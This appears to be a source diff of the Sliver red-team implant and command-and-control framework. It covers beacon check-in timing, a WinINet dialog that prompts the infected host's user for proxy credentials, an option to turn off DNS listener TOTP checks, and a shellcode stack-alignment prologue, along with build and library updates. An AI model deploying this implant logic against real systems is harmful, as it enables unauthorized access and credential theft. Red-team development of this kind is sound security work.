@@ -360,7 +360,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
NextCheckin: nextCheckin.UTC().Unix(),
NextCheckin: int64(beacon.Duration().Seconds()),
}))
if err != nil {
// {{if .Config.Debug}}
+1 -1
View File
@@ -103,7 +103,7 @@ func (b *Beacon) Duration() time.Duration {
// {{end}}
jitterDuration := time.Duration(0)
if 0 < b.Jitter() {
jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
}
duration := time.Duration(b.Interval()) + jitterDuration
// {{if .Config.Debug}}
@@ -10,6 +10,15 @@ import (
"time"
)
const (
FLAGS_ERROR_UI_FILTER_FOR_ERRORS uint32 = 0x01
FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS uint32 = 0x02
FLAGS_ERROR_UI_FLAGS_GENERATE_DATA uint32 = 0x04
INTERNET_ERROR_BASE uint32 = 12000
ERROR_INTERNET_INCORRECT_PASSWORD uint32 = INTERNET_ERROR_BASE + 14
ERROR_INTERNET_FORCE_RETRY uint32 = INTERNET_ERROR_BASE + 32
)
// Client is a struct containing relevant metadata to make HTTP
// requests.
type Client struct {
@@ -18,7 +27,8 @@ type Client struct {
TLSClientConfig struct {
InsecureSkipVerify bool
}
CookieJar *Jar
CookieJar *Jar
AskProxyCreds bool
}
// NewClient will return a pointer to a new Client instance that
@@ -147,6 +157,21 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
return nil, err
}
if c.AskProxyCreds {
if resp.StatusCode == 407 {
err := promptUserPassword(reqHandle)
if err != nil {
return nil, err
}
if err = sendRequest(reqHandle, req); err != nil {
return nil, err
}
if resp, err = buildResponse(reqHandle, req); err != nil {
return nil, err
}
}
}
c.CookieJar.cookies = resp.Cookies()
return &http.Response{
@@ -162,6 +187,17 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
}, nil
}
func promptUserPassword(reqHandle uintptr) error {
var lppvData []byte
dwError := ERROR_INTERNET_INCORRECT_PASSWORD
dwFlags := FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA
_, err := InternetErrorDlg(GetDesktopWindow(), reqHandle, dwError, dwFlags, &lppvData)
if err != nil {
return err
}
return nil
}
// Jar - CookieJar implementation that ignores domains/origins
type Jar struct {
lk sync.Mutex
@@ -0,0 +1,16 @@
package wininet
import (
"golang.org/x/sys/windows"
)
var (
libuser32 = windows.NewLazySystemDLL("User32")
)
func GetDesktopWindow() uintptr {
ret, _, _ := libuser32.NewProc("GetDesktopWindow").Call()
return ret
}
@@ -413,3 +413,34 @@ func InternetSetOptionW(
return nil
}
// InternetErrorDlg is from wininet.h
func InternetErrorDlg(
hWnd uintptr,
hRequest uintptr,
dwError uint32,
dwFlags uint32,
lppvData *[]byte,
) (uintptr, error) {
var buf []byte
var proc string = "InternetErrorDlg"
var success uintptr
buf = make([]byte, 1024) //arbitrary size (safe?)
success, _, _ = wininet.NewProc(proc).Call(
uintptr(hWnd),
hRequest,
uintptr(dwError),
uintptr(dwFlags),
uintptr(unsafe.Pointer(&buf[0])),
)
// we expect 12032 if user hits okay, otherwise we return the response code as an error
if uint32(success) != ERROR_INTERNET_FORCE_RETRY {
return success, fmt.Errorf("%s: %s", proc, success)
}
*lppvData = buf
return success, nil
}
@@ -58,5 +58,6 @@ func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, e
return nil, err
}
wininetClient.TLSClientConfig.InsecureSkipVerify = true
wininetClient.AskProxyCreds = opts.AskProxyCreds
return wininetClient, nil
}
@@ -24,6 +24,7 @@ import (
"net/http"
"net/url"
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -37,12 +38,14 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
var transport *http.Transport
if !secure {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
} else {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: (&net.Dialer{
Timeout: opts.NetTimeout,
}).Dial,
@@ -74,6 +74,7 @@ type HTTPOptions struct {
ProxyConfig string
ProxyUsername string
ProxyPassword string
AskProxyCreds bool
}
// ParseHTTPOptions - Parse c2 specific configuration options
@@ -112,6 +113,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
ProxyPassword: c2URI.Query().Get("proxy-password"),
AskProxyCreds: c2URI.Query().Get("ask-proxy-creds") == "true",
}
}
+14 -4
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.0
// protoc-gen-go v1.28.0
// protoc v3.20.1
// source: clientpb/client.proto
package clientpb
@@ -2606,6 +2606,7 @@ type DNSListenerReq struct {
Host string `protobuf:"bytes,3,opt,name=Host,proto3" json:"Host,omitempty"`
Port uint32 `protobuf:"varint,4,opt,name=Port,proto3" json:"Port,omitempty"`
Persistent bool `protobuf:"varint,5,opt,name=Persistent,proto3" json:"Persistent,omitempty"`
EnforceOTP bool `protobuf:"varint,6,opt,name=EnforceOTP,proto3" json:"EnforceOTP,omitempty"`
}
func (x *DNSListenerReq) Reset() {
@@ -2675,6 +2676,13 @@ func (x *DNSListenerReq) GetPersistent() bool {
return false
}
func (x *DNSListenerReq) GetEnforceOTP() bool {
if x != nil {
return x.EnforceOTP
}
return false
}
type DNSListener struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -5850,7 +5858,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a,
0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a,
0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49,
0x44, 0x22, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18,
0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a,
0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08,
@@ -5859,7 +5867,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f,
0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74,
0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65,
0x6e, 0x74, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50,
0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f,
0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xcf, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50,
0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44,
+1
View File
@@ -282,6 +282,7 @@ message DNSListenerReq {
string Host = 3;
uint32 Port = 4;
bool Persistent = 5;
bool EnforceOTP = 6;
}
message DNSListener {
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.0
// protoc v3.19.4
// source: commonpb/common.proto
package commonpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.0
// protoc-gen-go v1.28.0
// protoc v3.20.1
// source: dnspb/dns.proto
package dnspb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.0
// protoc-gen-go v1.28.0
// protoc v3.20.1
// source: rpcpb/services.proto
package rpcpb
+4
View File
@@ -1,4 +1,8 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.2.0
// - protoc v3.20.1
// source: rpcpb/services.proto
package rpcpb
File diff suppressed because it is too large. Load diff
+1
View File
@@ -242,6 +242,7 @@ message Download {
int64 Start = 4;
int64 Stop = 5;
bytes Data = 6;
bool IsDir = 7;
commonpb.Response Response = 9;
}
+10
View File
@@ -0,0 +1,10 @@
//go:build server
package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/*
assetsFs embed.FS
)
+43 -51
View File
@@ -37,33 +37,29 @@ package c2
import (
"bytes"
secureRand "crypto/rand"
"encoding/base64"
"encoding/binary"
"errors"
"fmt"
"hash/crc32"
"sort"
"strings"
"sync"
"time"
"unicode"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/dnspb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"encoding/base64"
"encoding/binary"
"fmt"
"strings"
"sync"
"time"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util/encoders"
"github.com/miekg/dns"
"google.golang.org/protobuf/proto"
)
const (
@@ -82,15 +78,15 @@ var (
)
// StartDNSListener - Start a DNS listener
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
// StartPivotListener()
server := &SliverDNSServer{
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
sessions: &sync.Map{}, // DNS Session ID -> DNSSession
messages: &sync.Map{}, // In progress message streams
totpToSessionID: &sync.Map{}, // Atomic TOTP -> DNS Session ID
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
sessions: &sync.Map{}, // DNS Session ID -> DNSSession
messages: &sync.Map{}, // In progress message streams
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: enforceOTP,
}
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
@@ -310,12 +306,12 @@ func (p *PendingEnvelope) Insert(dnsMsg *dnspb.DNSMessage) bool {
// SliverDNSServer - DNS server implementation
type SliverDNSServer struct {
server *dns.Server
sessions *sync.Map
messages *sync.Map
totpToSessionID *sync.Map
TTL uint32
MaxTXTLength int
server *dns.Server
sessions *sync.Map
messages *sync.Map
TTL uint32
MaxTXTLength int
EnforceOTP bool
}
// Shutdown - Shutdown the DNS server
@@ -465,33 +461,29 @@ func (s *SliverDNSServer) refusedErrorResp(req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handleTOTP(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[dns] totp request: %v", msg)
totpCode := fmt.Sprintf("%08d", msg.ID)
valid, err := cryptography.ValidateTOTP(totpCode)
if err != nil || !valid {
dnsLog.Warnf("totp request invalid (%v)", err)
return s.nameErrorResp(req)
if s.EnforceOTP {
valid, err := cryptography.ValidateTOTP(totpCode)
if err != nil || !valid {
dnsLog.Warnf("totp request invalid (%v)", err)
return s.nameErrorResp(req)
}
dnsLog.Debugf("[dns] totp request valid")
} else {
dnsLog.Warn("[dns] totp validation is disabled")
}
dnsLog.Debugf("[dns] totp request valid")
// Queries must be deterministic, so create or load the dns session id
// we'll likely get multiple queries for the same domain
actualID, loaded := s.totpToSessionID.LoadOrStore(totpCode, dnsSessionID())
dnsSessionID := actualID.(uint32)
dnsSessionID := dnsSessionID()
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
if !loaded {
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
})
go func() {
time.Sleep(90 * time.Second) // Best effort to remove totp code after expiration
s.totpToSessionID.Delete(totpCode)
}()
}
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
})
resp := new(dns.Msg)
resp.SetReply(req)
resp.Authoritative = true
+2 -2
View File
@@ -140,7 +140,7 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
}
func TestIsC2Domain(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false)
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
if !isC2 {
t.Fatal("IsC2Domain expected true, got false")
@@ -163,7 +163,7 @@ func TestIsC2Domain(t *testing.T) {
}
func TestDetermineLikelyEncoders(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false)
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
sample := randomDataRandomSize(2048)
b58Sample := string(encoders.Base58{}.Encode(sample))
likelyEncoders := listener.determineLikelyEncoders(b58Sample)
+3 -3
View File
@@ -146,8 +146,8 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
}
// StartDNSListenerJob - Start a DNS listener as a job
func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool) (*core.Job, error) {
server := StartDNSListener(bindIface, lport, domains, canaries)
func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) (*core.Job, error) {
server := StartDNSListener(bindIface, lport, domains, canaries, enforceOTP)
description := fmt.Sprintf("%s (canaries %v)", strings.Join(domains, " "), canaries)
job := &core.Job{
ID: core.NextJobID(),
@@ -362,7 +362,7 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
}
for _, j := range cfg.Jobs.DNS {
job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries)
job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries, j.EnforceOTP)
if err != nil {
return err
}
-1
View File
@@ -23,7 +23,6 @@ import (
"path"
"github.com/bishopfox/sliver/server/log"
"golang.org/x/crypto/acme/autocert"
)
+5 -5
View File
@@ -1,10 +1,5 @@
package certs
import (
"crypto/rand"
"crypto/rsa"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -23,6 +18,11 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/rand"
"crypto/rsa"
)
const (
// HTTPSCA - Directory containing operator certificates
HTTPSCA = "https"
+18
View File
@@ -1,5 +1,23 @@
package certs
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/hex"
"errors"
-1
View File
@@ -34,7 +34,6 @@ import (
"github.com/bishopfox/sliver/server/console"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/daemon"
"github.com/spf13/cobra"
)
+1 -1
View File
@@ -35,7 +35,7 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 92
chromeBaseVer = 97
)
// HTTPC2Config - Parent config file struct for implant/server
+6 -5
View File
@@ -93,11 +93,12 @@ type WGJobConfig struct {
// DNSJobConfig - Persistent DNS job config
type DNSJobConfig struct {
Domains []string `json:"domains"`
Canaries bool `json:"canaries"`
Host string `json:"host"`
Port uint16 `json:"port"`
JobID string `json:"job_id"`
Domains []string `json:"domains"`
Canaries bool `json:"canaries"`
Host string `json:"host"`
Port uint16 `json:"port"`
JobID string `json:"job_id"`
EnforceOTP bool `json:"enforce_otp"`
}
// HTTPJobConfig - Persistent HTTP job config
+8 -1
View File
@@ -24,6 +24,7 @@ import (
"time"
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/log"
@@ -91,11 +92,17 @@ func (s *Session) IsDead() bool {
return false
}
if s.Connection.Transport == consts.MtlsStr {
if time.Since(s.Connection.LastMessage) < mtls.PingInterval+padding {
if timePassed < mtls.PingInterval+padding {
sessionsLog.Debugf("Last message within ping interval with padding")
return false
}
}
if s.Connection.Transport == consts.WGStr {
if timePassed < wireguard.PingInterval+padding {
sessionsLog.Debugf("Last message with ping interval with padding")
return false
}
}
if s.Connection.Transport == "pivot" {
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
+1 -1
View File
@@ -322,7 +322,7 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
ID: uuid.FromStringOrNil(beaconID),
}).Updates(models.Beacon{
LastCheckin: time.Now(),
NextCheckin: next,
NextCheckin: time.Now().Unix() + next,
}).Error
return err
}
+26 -6
View File
@@ -150,6 +150,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
cfg.Debug = pbConfig.Debug
cfg.Evasion = pbConfig.Evasion
cfg.ObfuscateSymbols = pbConfig.ObfuscateSymbols
cfg.ConnectionStrategy = pbConfig.ConnectionStrategy
cfg.WGImplantPrivKey = pbConfig.WGImplantPrivKey
cfg.WGServerPubKey = pbConfig.WGServerPubKey
@@ -267,6 +268,7 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
GOROOT: gogo.GetGoRootDir(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goPrivate(config),
@@ -340,6 +342,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
GOROOT: gogo.GetGoRootDir(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goPrivate(config),
@@ -349,7 +352,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
return "", err
}
dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
if goConfig.GOOS == WINDOWS {
dest += ".dll"
}
@@ -365,6 +368,10 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
if !config.Debug && goConfig.GOOS == WINDOWS {
ldflags[0] += " -H=windowsgui"
}
// Statically link Linux .so files to avoid glibc hell
if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
ldflags[0] += " -linkmode external -extldflags \"-static\""
}
// Keep those for potential later use
gcflags := ""
asmflags := ""
@@ -374,7 +381,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
if err != nil {
return "", err
}
config.FileName = path.Base(dest)
config.FileName = filepath.Base(dest)
err = ImplantBuildSave(name, config, dest)
if err != nil {
@@ -401,6 +408,7 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
GOMODCACHE: gogo.GetGoModCache(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goPrivate(config),
@@ -669,14 +677,18 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
// Get Defaults
if targetGoarch == "amd64" {
cc = os.Getenv(SliverCC64EnvVar)
if os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS)) != "" {
cc = os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS))
}
cxx = os.Getenv(SliverCXX64EnvVar)
if cc == "" {
cc = os.Getenv(SliverCC64EnvVar)
}
if os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS)) != "" {
cc = os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS))
}
if cxx == "" {
cxx = os.Getenv(SliverCXX64EnvVar)
}
}
if targetGoarch == "386" {
cc = os.Getenv(SliverCC32EnvVar)
@@ -713,11 +725,9 @@ func findCrossCompilers(targetGoos string, targetGoarch string) (string, string)
// Check to see if CC and CXX exist
if _, err := os.Stat(cc); os.IsNotExist(err) {
buildLog.Warnf("CC path '%s' does not exist", cc)
cc = "" // Path does not exist
}
if _, err := os.Stat(cxx); os.IsNotExist(err) {
buildLog.Warnf("CXX path '%s' does not exist", cxx)
cxx = "" // Path does not exist
}
buildLog.Debugf(" CC = '%s'", cc)
buildLog.Debugf("CXX = '%s'", cxx)
@@ -872,6 +882,16 @@ func getGoHttpProxy() string {
return ""
}
func getGoHttpsProxy() string {
value, present := os.LookupEnv("HTTPS_PROXY")
if present {
buildLog.Debugf("Using HTTPS_PROXY from env: %s", value)
return value
}
buildLog.Debugf("No HTTPS_PROXY found")
return ""
}
const (
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
+6
View File
@@ -78,6 +78,12 @@ func getDonut(data []byte, config *donut.DonutConfig) (shellcode []byte, err err
return
}
shellcode = res.Bytes()
stackCheckPrologue := []byte{
// Check stack is 8 byte but not 16 byte aligned or else errors in LoadLibrary
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
}
shellcode = append(stackCheckPrologue, shellcode...)
return
}
+7 -1
View File
@@ -56,6 +56,7 @@ type GoConfig struct {
CC string
CXX string
HTTPPROXY string
HTTPSPROXY string
Obfuscation bool
GOGARBLE string
@@ -117,6 +118,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
}
@@ -124,7 +126,10 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
var stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
gogoLog.Debugf("--- env ---\n")
for _, envVar := range cmd.Env {
gogoLog.Debugf("%s\n", envVar)
}
gogoLog.Infof("garble cmd: '%v'", cmd)
err := cmd.Run()
if err != nil {
@@ -155,6 +160,7 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
}
var stdout bytes.Buffer
+1 -1
View File
@@ -83,7 +83,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
beacon.Interval = beaconReg.Interval
beacon.Jitter = beaconReg.Jitter
beacon.NextCheckin = beaconReg.NextCheckin
beacon.NextCheckin = time.Now().Unix() + beaconReg.NextCheckin
err = db.Session().Save(beacon).Error
if err != nil {
+6 -5
View File
@@ -159,17 +159,18 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
listenPort = uint16(req.Port)
}
job, err := c2.StartDNSListenerJob(req.Host, listenPort, req.Domains, req.Canaries)
job, err := c2.StartDNSListenerJob(req.Host, listenPort, req.Domains, req.Canaries, req.EnforceOTP)
if err != nil {
return nil, err
}
if req.Persistent {
cfg := &configs.DNSJobConfig{
Domains: req.Domains,
Host: req.Host,
Port: listenPort,
Canaries: req.Canaries,
Domains: req.Domains,
Host: req.Host,
Port: listenPort,
Canaries: req.Canaries,
EnforceOTP: req.EnforceOTP,
}
configs.GetServerConfig().AddDNSJob(cfg)
job.PersistentID = cfg.JobID
-16
View File
@@ -1,16 +0,0 @@
language: go
go:
- "1.4.x"
- "1.5.x"
- "1.6.x"
- "1.7.x"
- "1.8.x"
- "1.9.x"
- "1.10.x"
- "1.11.x"
- "1.12.x"
- "1.13.x"
- "tip"
go_import_path: gopkg.in/yaml.v3
+1
View File
@@ -108,6 +108,7 @@ func yaml_emitter_initialize(emitter *yaml_emitter_t) {
raw_buffer: make([]byte, 0, output_raw_buffer_size),
states: make([]yaml_emitter_state_t, 0, initial_stack_size),
events: make([]yaml_event_t, 0, initial_queue_size),
best_width: -1,
}
}
+106 -37
View File
@@ -35,6 +35,7 @@ type parser struct {
doc *Node
anchors map[string]*Node
doneInit bool
textless bool
}
func newParser(b []byte) *parser {
@@ -99,7 +100,10 @@ func (p *parser) peek() yaml_event_type_t {
if p.event.typ != yaml_NO_EVENT {
return p.event.typ
}
if !yaml_parser_parse(&p.parser, &p.event) {
// It's curious choice from the underlying API to generally return a
// positive result on success, but on this case return true in an error
// scenario. This was the source of bugs in the past (issue #666).
if !yaml_parser_parse(&p.parser, &p.event) || p.parser.error != yaml_NO_ERROR {
p.fail()
}
return p.event.typ
@@ -108,14 +112,18 @@ func (p *parser) peek() yaml_event_type_t {
func (p *parser) fail() {
var where string
var line int
if p.parser.problem_mark.line != 0 {
if p.parser.context_mark.line != 0 {
line = p.parser.context_mark.line
// Scanner errors don't iterate line before returning error
if p.parser.error == yaml_SCANNER_ERROR {
line++
}
} else if p.parser.problem_mark.line != 0 {
line = p.parser.problem_mark.line
// Scanner errors don't iterate line before returning error
if p.parser.error == yaml_SCANNER_ERROR {
line++
}
} else if p.parser.context_mark.line != 0 {
line = p.parser.context_mark.line
}
if line != 0 {
where = "line " + strconv.Itoa(line) + ": "
@@ -169,17 +177,20 @@ func (p *parser) node(kind Kind, defaultTag, tag, value string) *Node {
} else if kind == ScalarNode {
tag, _ = resolve("", value)
}
return &Node{
Kind: kind,
Tag: tag,
Value: value,
Style: style,
Line: p.event.start_mark.line + 1,
Column: p.event.start_mark.column + 1,
HeadComment: string(p.event.head_comment),
LineComment: string(p.event.line_comment),
FootComment: string(p.event.foot_comment),
n := &Node{
Kind: kind,
Tag: tag,
Value: value,
Style: style,
}
if !p.textless {
